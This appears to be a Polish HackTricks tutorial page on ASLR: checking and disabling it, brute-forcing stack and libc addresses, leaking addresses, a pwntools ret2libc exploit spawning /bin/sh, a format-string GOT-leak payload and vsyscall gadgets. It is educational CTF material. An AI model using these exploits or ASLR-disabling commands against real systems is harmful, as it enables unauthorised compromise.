.. | ||
README.md | ||
ret2plt.md | ||
ret2ret.md |
ASLR
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF sprawdź PLANY SUBSKRYPCYJNE!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
Randomizacja układu przestrzeni adresowej (ASLR) to technika bezpieczeństwa stosowana w systemach operacyjnych do losowego przemieszczania adresów pamięci używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie trudniej dla atakującego przewidzieć lokalizację konkretnych procesów i danych, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.
Sprawdzanie stanu ASLR
Aby sprawdzić stan ASLR w systemie Linux, można odczytać wartość z pliku /proc/sys/kernel/randomize_va_space
. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:
- 0: Brak randomizacji. Wszystko jest statyczne.
- 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
- 2: Pełna randomizacja. Oprócz elementów randomizowanych przez konserwatywną randomizację, pamięć zarządzana przez
brk()
jest randomizowana.
Możesz sprawdzić stan ASLR za pomocą następującej komendy:
cat /proc/sys/kernel/randomize_va_space
Wyłączanie ASLR
Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space
na 0. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Możesz również wyłączyć ASLR dla wykonania za pomocą:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Włączanie ASLR
Aby włączyć ASLR, można zapisać wartość 2 do pliku /proc/sys/kernel/randomize_va_space
. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Trwałość po ponownym uruchomieniu
Zmiany dokonane za pomocą poleceń echo
są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik /etc/sysctl.conf
i dodać lub zmodyfikować następującą linię:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Po edycji /etc/sysctl.conf
zastosuj zmiany za pomocą:
sudo sysctl -p
To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu.
Bypassy
Brutalne narzucanie 32-bitowe
PaX dzieli przestrzeń adresową procesu na 3 grupy:
- Kod i dane (zainicjowane i niezainicjowane):
.text
,.data
i.bss
—> 16 bitów entropii w zmiennejdelta_exec
. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych. - Pamięć przydzielana przez
mmap()
i biblioteki współdzielone —> 16 bitów, nazwanadelta_mmap
. - Stos —> 24 bity, oznaczane jako
delta_stack
. Jednak faktycznie używa 11 bitów (od 10. do 20. bajtu włącznie), wyrównanych do 16 bajtów —> To daje 524,288 możliwych rzeczywistych adresów stosu.
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona ostateczna entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
Pomysły na brutalne narzucanie:
- Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić duży ślizg NOP przed kodem powłoki, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ przeskoczy część ślizgu NOP.
- Inną opcją w przypadku, gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej.
- Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować przemęczyć adres funkcji
usleep
z bibliotekilibc
, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, znalazłeś adres tej funkcji.
{% hint style="success" %} W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe. {% endhint %}
Przemęczanie stosu 64 bitów
Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wykorzystania błędu w binarnym pliku programu setki/tysiące razy lokalnie, aby go zhakować.
Poniższy kod pokazuje, jak można wybrać adres na stosie i co kilka setek wykonania ten adres będzie zawierał instrukcję NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Lokalne informacje (/proc/[pid]/stat
)
Plik /proc/[pid]/stat
procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje takie jak:
- startcode & endcode: Adresy powyżej i poniżej z TEKSTU binarnego
- startstack: Adres początku stosu
- start_data & end_data: Adresy powyżej i poniżej, gdzie znajduje się BSS
- kstkesp & kstkeip: Aktualne adresy ESP i EIP
- arg_start & arg_end: Adresy powyżej i poniżej, gdzie znajdują się argumenty wiersza poleceń
- env_start & env_end: Adresy powyżej i poniżej, gdzie znajdują się zmienne środowiskowe
Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego wejścia, które można stworzyć po odczytaniu tego pliku. Dla atakującego jest możliwe uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji.
{% hint style="success" %}
Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat
{% endhint %}
Posiadanie wycieku
- Wyzwaniem jest dostarczenie wycieku
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z przykładu stąd (sprawdź tę stronę dla więcej szczegółów):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Wykorzystując przepełnienie bufora, można wykorzystać ret2plt do wycieku adresu funkcji z biblioteki libc. Sprawdź:
{% content-ref url="ret2plt.md" %} ret2plt.md {% endcontent-ref %}
- Format Strings Arbitrary Read
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, można wyciec adres funkcji z biblioteki libc z GOT. Poniższy przykład pochodzi stąd:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów formatujących w:
{% content-ref url="../../format-strings/" %} format-strings {% endcontent-ref %}
Ret2ret & Ret2pop
Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
{% content-ref url="ret2ret.md" %} ret2ret.md {% endcontent-ref %}
vsyscall
Mechanizm vsyscall
służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż zasadniczo są one częścią jądra. Krytyczną zaletą vsyscalls jest ich stały adres, który nie podlega ASLR (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.
Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika ret;
)
(Poniższy przykład i kod pochodzi z tego opisu)
Na przykład, atakujący może użyć adresu 0xffffffffff600800
w ataku. Podczas próby skoku bezpośrednio do instrukcji ret
może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok na początek syscall
dostarczonego przez sekcję vsyscall może okazać się skuteczny. Starannie umieszczając gadżet ROP, który prowadzi wykonanie do tego adresu vsyscall, atakujący może osiągnąć wykonanie kodu bez konieczności omijania ASLR dla tej części ataku.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.